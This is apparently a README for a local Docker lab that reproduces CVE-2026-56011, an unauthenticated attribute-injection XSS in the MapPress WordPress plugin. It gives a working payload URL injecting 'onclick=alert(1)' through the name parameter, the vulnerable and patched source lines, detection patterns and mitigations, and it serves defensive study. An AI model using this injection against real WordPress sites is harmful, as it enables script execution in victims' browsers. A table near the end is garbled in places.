
Docker-based lab for reproducing and validating CVE-2026-56011, an unauthenticated XSS vulnerability in MapPress Maps for WordPress, with vulnerable and patched comparison targets.
This repository contains a local Docker lab for reproducing and validating CVE-2026-56011, an unauthenticated Cross-Site Scripting vulnerability affecting MapPress Maps for WordPress.
MapPress Maps for WordPress is a WordPress plugin used to render maps inside WordPress pages and posts. The vulnerable behavior affects the iframe map rendering path that is reachable through the mappress=embed request parameter.
This lab compares two MapPress versions:
| Service | MapPress version | Purpose | URL |
|---|
| vuln | 2.97.3 | Vulnerable comparison target | http://localhost:8081 |
| patched | 2.97.4 | Patched comparison target | http://localhost:8082 |
The demonstrated validation path in this local lab is:
Unauthenticated browser request
→ GET /?mappress=embed
→ request supplies a crafted name value
→ vulnerable target renders name into an unquoted id attribute
→ injected onclick handler becomes a standalone HTML attribute
→ clicking the rendered MapPress component triggers alert(1)
→ patched target keeps the payload inside a quoted and escaped id attribute
→ clicking the rendered component does not trigger alert(1)
The vulnerable target uses this manual browser URL:
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Expected vulnerable result:
Click on the rendered MapPress component
→ alert(1) pops up
The patched target uses the same payload against MapPress 2.97.4:
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Expected patched result:
Click on the rendered MapPress component
→ no alert appears
This lab intentionally uses manual browser validation only. It does not include a PoC script, browser automation, credential theft, external callbacks, malware, persistence, post-exploitation activity, or attacks against external systems.
| Claim | Evidence | How to verify in this lab |
|---|---|---|
| CVE-2026-56011 affects MapPress Maps for WordPress. | Public vulnerability advisories identify the affected WordPress plugin as MapPress Maps for WordPress. | Review the References section and inspect the plugin installed in both Docker targets. |
| The vulnerable comparison version in this lab is MapPress 2.97.3. | The vuln service builds the plugin using MAPPRESS_VERSION: 2.97.3. | Inspect docker-compose.yml and vuln/Dockerfile. |
| The patched comparison version in this lab is MapPress 2.97.4. | The patched service builds the plugin using MAPPRESS_VERSION: 2.97.4. | Inspect docker-compose.yml and patched/Dockerfile. |
| MapPress 2.97.4 introduced the relevant iframe escaping fix. | The official plugin changelog for 2.97.4 says Added: escape in iframe. | Review the official WordPress plugin changelog and compare the vulnerable and patched source. |
The vulnerable source renders the map name into the web component id without quotes. | In 2.97.3, mappress_map.php renders <mappress-map id={$name} ...>. | Compare the 2.97.3 source with the 2.97.4 source. |
The patched source quotes and escapes the id value. | In 2.97.4, mappress_map.php renders id=" with esc_attr($name). | Compare the patch diff between 2.97.3 and 2.97.4. |
| The iframe path is reachable without authentication. | MapPress registers template_redirect when $_GET['mappress'] is present. | Request /?mappress=embed... from a browser without logging in. |
| The iframe path reads map attributes from the request. | template_redirect() maps $_GET into map arguments and calls the iframe renderer. | Inspect mappress.php and reproduce the manual URL. |
The vulnerable target allows attribute injection through name. | The crafted name value can break out of the unquoted attribute and become . |
This lab uses MapPress 2.97.3 as the vulnerable comparison target because public advisories identify versions up to and including 2.97.3 as affected, and the source diff shows the vulnerable unquoted attribute rendering in that version.
This lab uses MapPress 2.97.4 as the patched comparison target because public advisories identify 2.97.4 as the fixed version, and the official changelog states that escaping was added in the iframe path.
The tested vulnerable behavior is the unauthenticated iframe rendering path:
GET /?mappress=embed&name=<crafted-value>
This lab focuses on manual browser execution of a harmless alert payload:
name=cve56011 onclick=alert(1)
The lab does not attempt to prove a stored delivery chain. Some public advisories classify the vulnerability as stored XSS. This repository focuses on the source-confirmed iframe rendering sink and the vulnerable-versus-patched behavior that can be reproduced locally through the unauthenticated mappress=embed route.
The lab does not demonstrate:
The manual browser validation proves the security-relevant rendering difference:
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
The root cause of CVE-2026-56011 is incorrect output encoding for the map name value when MapPress renders a web component inside the iframe map output path.
The vulnerable code path accepts map rendering attributes from the request and eventually renders a custom HTML element:
<mappress-map ...>
In MapPress 2.97.3, the map name is inserted directly into the id attribute without quotes and without attribute-context escaping:
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
This is unsafe because the value is used in an HTML attribute context. If the attacker controls name, a value containing a space can terminate the intended id value and introduce a new attribute.
The vulnerable behavior can be summarized as:
Attacker sends unauthenticated iframe request
→ name = cve56011 onclick=alert(1)
→ MapPress sanitizes the value as text
→ sanitized text is still unsafe for an unquoted HTML attribute
→ renderer outputs id=cve56011 onclick=alert(1)
→ onclick becomes a standalone event handler attribute
→ user clicks the rendered component
→ JavaScript executes
The important point is that general text sanitization is not the same as correct output escaping.
The vulnerable code uses sanitize_text_field() on the map name, but that does not make the value safe for an unquoted HTML attribute. Spaces remain meaningful in HTML attributes because they separate one attribute from the next.
The security issue is therefore:
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
The patched version changes the rendering to quote and escape the id value:
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
The patched behavior can be summarized as:
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
The security lesson is:
Sanitize on input if needed, but always escape on output for the exact output context.
For HTML attributes in WordPress, use esc_attr() and quote attribute values.
The source-level issue was confirmed by comparing MapPress 2.97.3 and MapPress 2.97.4.
The primary rendering sink is in:
mappress_map.php
The vulnerable version renders the name value as an unquoted id attribute:
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
The patched version quotes the attribute and escapes the value:
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
The iframe route is registered when the request contains the mappress query parameter:
if (isset($_GET['mappress']))
add_action('template_redirect', array(__CLASS__, 'template_redirect'));
The iframe request handler maps query parameters into map arguments:
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
The handler then creates or loads a map object and updates it with the request arguments:
$map = new Mappress_Map();
$map->update($args);
$map->layout = 'left';
echo self::get_iframe($map);
die();
The iframe helper renders the map content:
$content = $map->display(null, true);
The display() path preserves a supplied non-empty name value:
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
This means the request-supplied name value can reach the vulnerable rendering sink.
The security-relevant flow is:
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
The rest of the generated map attributes are processed through a helper that quotes attributes. The vulnerable id rendering is special because name is pulled out and rendered separately.
This makes the vulnerable surface narrow and easy to validate:
Only the web component id rendering needs to be compared.
The vulnerable version renders id without quotes.
The patched version renders id with quotes and esc_attr().
MapPress 2.97.4 fixes the vulnerable iframe rendering behavior by quoting and escaping the id attribute value for the generated <mappress-map> element.
The vulnerable output pattern is:
<mappress-map id=cve56011 onclick=alert(1) ...>
In this output, the browser parses:
id = cve56011
onclick = alert(1)
The patched output pattern is:
<mappress-map id="cve56011 onclick=alert(1)" ...>
In this output, the browser parses:
id = cve56011 onclick=alert(1)
No standalone onclick attribute is created.
The security-relevant patch is:
Before:
id={$name}
After:
id="<escaped name>"
The source-level fix is small, but the security impact is meaningful because the affected path is reachable without authentication through the iframe embed endpoint.
This lab keeps source review and runtime validation separate:
Source patch review:
explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation:
proves that the vulnerable target can execute alert(1) and the patched target does not.
The lab runs two isolated WordPress targets through Docker Compose.
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
There is intentionally no poc/ directory. The validation is manual and browser-based.
The two WordPress services use separate databases and separate WordPress volumes:
| Service | Component | Version / Role |
|---|---|---|
| db-vuln | MariaDB | database for vulnerable WordPress |
| db-patched | MariaDB | database for patched WordPress |
| vuln | WordPress | vulnerable target with MapPress 2.97.3 |
| patched | WordPress | patched target with MapPress 2.97.4 |
| wpcli-vuln | WP-CLI | installs WordPress and activates plugin |
| wpcli-patched | WP-CLI | installs WordPress and activates plugin |
Default exposed services:
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
The lab uses pinned MapPress plugin versions:
| Target | MapPress version | Expected behavior |
|---|---|---|
| http://localhost:8081 | 2.97.3 | clicking the crafted component triggers alert(1) |
| http://localhost:8082 | 2.97.4 | clicking the crafted component does not trigger alert(1) |
The Docker build downloads the exact plugin ZIP for each target from the official WordPress plugin download endpoint:
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
The WP-CLI services run automatically during lab startup. They install WordPress and activate MapPress in each target.
The lab does not create or modify the vulnerable MapPress route. The route is provided by the real MapPress plugin version installed in each target.
No Python dependency is required.
No PoC script is required.
No WordPress login is required for the manual XSS validation.
Start the lab from a clean state:
docker compose down -v --remove-orphans
docker compose up -d --build
Check service status:
docker compose ps
Expected running services:
db-vuln
db-patched
vuln
patched
Expected exposed targets:
http://localhost:8081
http://localhost:8082
Check that the WordPress installation and plugin activation completed:
docker compose logs wpcli-vuln wpcli-patched
Expected setup messages:
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
After setup is complete, the WordPress login page should return HTTP 200:
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
If the root page temporarily redirects to /wp-admin/install.php, the WP-CLI setup may still be finishing. Wait until the wpcli-vuln and wpcli-patched logs show the setup complete messages, then retry.
This lab uses manual browser validation only.
No PoC script is included.
No login is required.
Open this URL in a browser:
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Click on the rendered MapPress component.
Expected vulnerable result:
alert(1) pops up
Security meaning:
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
The vulnerable browser-parsed behavior is equivalent to:
<mappress-map id=cve56011 onclick=alert(1) ...>
The browser treats this as:
id = cve56011
onclick = alert(1)
When the component is clicked, the event handler runs.
Open this URL in a browser:
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Click on the rendered MapPress component.
Expected patched result:
No alert appears.
Security meaning:
The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
The patched browser-parsed behavior is equivalent to:
<mappress-map id="cve56011 onclick=alert(1)" ...>
The browser treats this as:
id = cve56011 onclick=alert(1)
No executable onclick attribute is created.
Manual browser URL:
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Expected result after clicking the rendered component:
alert(1) pops up
Expected classification:
VULNERABLE_BEHAVIOR_OBSERVED
The important vulnerable signal is:
MapPress 2.97.3
+ unauthenticated mappress=embed request
+ crafted name parameter
+ onclick becomes standalone attribute
+ browser executes alert(1) after click
Manual browser URL:
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Expected result after clicking the rendered component:
No alert appears.
Expected classification:
BLOCKED_BEHAVIOR_OBSERVED
The important patched signal is:
MapPress 2.97.4
+ same unauthenticated mappress=embed request
+ same crafted name parameter
+ payload remains inside quoted id attribute
+ no standalone onclick attribute
+ no alert after click
The manual validation sends a browser request to the MapPress iframe rendering path:
/?mappress=embed
The request includes a crafted name value:
cve56011 onclick=alert(1)
The full vulnerable request is:
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
The full patched request is:
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
In MapPress 2.97.3, the name value is inserted into an unquoted id attribute:
<mappress-map id=cve56011 onclick=alert(1) ...>
Because the attribute is unquoted, the space after cve56011 starts a new attribute.
The browser interprets the output as:
id="cve56011"
onclick="alert(1)"
When the rendered component is clicked, the injected event handler executes.
In MapPress 2.97.4, the same value is escaped and quoted:
<mappress-map id="cve56011 onclick=alert(1)" ...>
The browser interprets the entire payload as a single id value.
No event handler is created.
The validation is intentionally manual because the goal is to show the browser-visible XSS behavior directly:
vulnerable target
→ click
→ alert(1)
patched target
→ click
→ no alert
Start the lab:
docker compose down -v --remove-orphans
docker compose up -d --build
Wait for setup to complete:
docker compose logs wpcli-vuln wpcli-patched
Expected setup completion:
vuln setup complete
patched setup complete
Open the vulnerable target:
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Click the rendered MapPress component.
Expected result:
alert(1)
Open the patched target:
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Click the rendered MapPress component.
Expected result:
No alert
Recommended screenshot evidence for a portfolio write-up:
1. docker compose ps showing both targets running
2. wpcli logs showing WordPress installed and MapPress activated
3. vulnerable browser page with alert(1)
4. patched browser page after clicking with no alert
5. source diff showing id={$name} changed to id=" . esc_attr($name) . "
CVE-2026-56011 is security-sensitive because an unauthenticated attacker can craft a MapPress iframe URL that injects JavaScript into the rendered map component.
Potential real-world impact depends on how the malicious URL is delivered and which user opens it.
Possible impact may include:
This lab demonstrates only a harmless local alert payload:
onclick=alert(1)
The lab does not demonstrate session theft, credential theft, admin account takeover, malicious external JavaScript loading, blind XSS collection, or attacks against public WordPress sites.
The practical risk in production depends on:
Potential indicators include requests to the MapPress iframe rendering path:
GET /?mappress=embed
Suspicious query parameters may include JavaScript-related strings in the name parameter:
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
High-signal detection idea:
HTTP request contains:
mappress=embed
AND
name parameter contains an event handler pattern such as on*=
Example suspicious request:
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Possible web server logs or telemetry to review:
mappress=embed requests,name values,Recommended monitoring actions:
mappress=embed.%20onclick%3D.name parameter values.Upgrade MapPress Maps for WordPress to version 2.97.4 or later.
The relevant patch changes the iframe map output so the generated web component id attribute is quoted and escaped.
Security-relevant behavior:
Before:
id={$name}
After:
id="<escaped name>"
Recommended mitigation steps:
mappress=embed requests.name parameter values.mappress=embed requests containing event handlers.Security engineering lessons:
esc_attr() for WordPress HTML attribute output.sanitize_text_field() as a replacement for output escaping.This lab is for local security research and controlled demonstration only.
Do not use the manual XSS URL against systems you do not own or do not have explicit authorization to test.
Do not use real production credentials, customer data, payment data, API keys, database credentials, or production secrets in this lab.
The intended scope is limited to local Docker services such as:
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
The manual payload is intentionally harmless:
onclick=alert(1)
The lab does not include payloads for:
The goal is to demonstrate one specific technical condition in a controlled environment:
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
Stop and remove containers, networks, and volumes:
docker compose down -v --remove-orphans
Remove locally built lab images if desired:
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
Check that no lab containers remain:
docker compose ps
CVE Record: CVE-2026-56011 https://www.cve.org/CVERecord?id=CVE-2026-56011
NVD: CVE-2026-56011 https://nvd.nist.gov/vuln/detail/CVE-2026-56011
WordPress Plugin: MapPress Maps for WordPress https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
WordPress Plugin Changelog: MapPress Maps for WordPress https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
WPScan Vulnerability Database: MapPress Maps for WordPress < 2.97.4 https://wpscan.com/vulnerability/
WordPress Plugin Download: MapPress 2.97.3 https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
WordPress Plugin Download: MapPress 2.97.4 https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
idonclick=alert(1)| Open the vulnerable manual URL and click the rendered MapPress component. |
| The patched target blocks the tested attribute injection behavior. | The patched output keeps the full payload inside the quoted id attribute. | Open the patched manual URL and click the rendered MapPress component. |